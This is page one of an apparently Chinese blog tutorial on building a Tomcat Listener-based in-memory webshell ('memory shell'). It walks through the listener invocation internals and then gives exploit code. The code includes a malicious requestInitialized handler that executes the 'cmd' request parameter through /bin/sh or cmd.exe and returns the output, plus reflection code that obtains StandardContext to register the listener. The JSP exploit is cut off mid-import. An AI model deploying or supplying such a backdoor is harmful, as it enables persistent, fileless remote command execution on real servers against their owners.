设为首页 加入收藏

TOP

Listener内存马(一)
2023-07-25 21:36:57 】 浏览:40
Tags:Listener

Listener内存马

0x01Lintener机制分析

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

Listener 三个域对象

ServletContextListener

HttpSessionListener

ServletRequestListener

ServletRequestListener用于监听ServletRequest的生成和销毁,也就是当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。继续看,在哪个环节,什么时候,哪个地方会调用监听器。相当于这个ServletContextListener,是最常用的那么我们就去用这个试试呗

0x02Listener生成

image-20221201154904134

可以直接用注解配置,也可以在web.xml中配置跟filter一样配置方法。

0x03Listener分析

知道了这个监听器的执行方式,那我们就要想着怎么去构建这个对象,还是调试跟进去看一下,Listener是最先加载的所以我们更到他调用方法里面来进行调试

image-20221201160203676

进来就发现掉了一个函数getApplicationEventListeners()跟进去看看,发现它只是获取了一个数组

方法源码

  private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();

然后接着往下调用看看

image-20221201160913723

这后面这一块大概意思就是判断一下刚刚创建那个Listener数组是否空,不空然后对request进行处理和调用一些额外的参数但是都不是我们看的重点看到后面的一句

image-20221201161257261

这里那个Listener数组被一个一个调用,调用后调用的是我们自己构造的那个Listener然后就是一长段调用我没找到最好调用是啥,看到别的师傅说后面的东西跟Filter有点类似我就没有再去追了因为到这里就已经知道怎么去构造了

在standardContext里面有个方法addApplicationEventListener

image-20221201163307833

0x04Listener马构造分析

  1. 首先我们的恶意代码要写到requestInitialized方法中,这是构造一个恶意的Listener
  2. 然后要去StandardContext调用addApplicationEventListener把我们构造的恶意Listener放进去就

image-20221201165830625

0x05开始编写EXP

0x1编写恶意Listener

if (cmd!=null){
    boolean isLinux = true;
    String osType = System.getProperty("os.name");
    if (osType != null && osType.toLowerCase().contains("win")) {
        isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(inputStream).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    Field request1 = servletRequest.getClass().getDeclaredField("request");
    request1.setAccessible(true);
    Request request2 = (Request) request1.get(servletRequest);
    request2.getResponse().getWriter().write(output);
}

0x2获取StandardContext

循环获取StandardContext(这个方法是我没想到的)

    ServletContext servletContext = req.getServletContext();
            StandardContext o = null;
            while (o == null) { //循环从servletContext中取出StandardContext
                Field field = servletContext.getClass().getDeclaredField("context");
                field.setAccessible(true);
                Object o1 = field.get(servletContext);

                if (o1 instanceof ServletContext) {
                    servletContext = (ServletContext) o1;
                } else if (o1 instanceof StandardContext) {
                    o = (StandardContext) o1;
                }

0x3整体EXP

<%--
  Created by IntelliJ IDEA.
  User: White_room
  Date: 2022/12/2
  Time: 15:40
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream&
首页 上一页 1 2 下一页 尾页 1/2/2
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇java基础_引用数据类型_数组_2 下一篇Nginx rewrite 详解

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目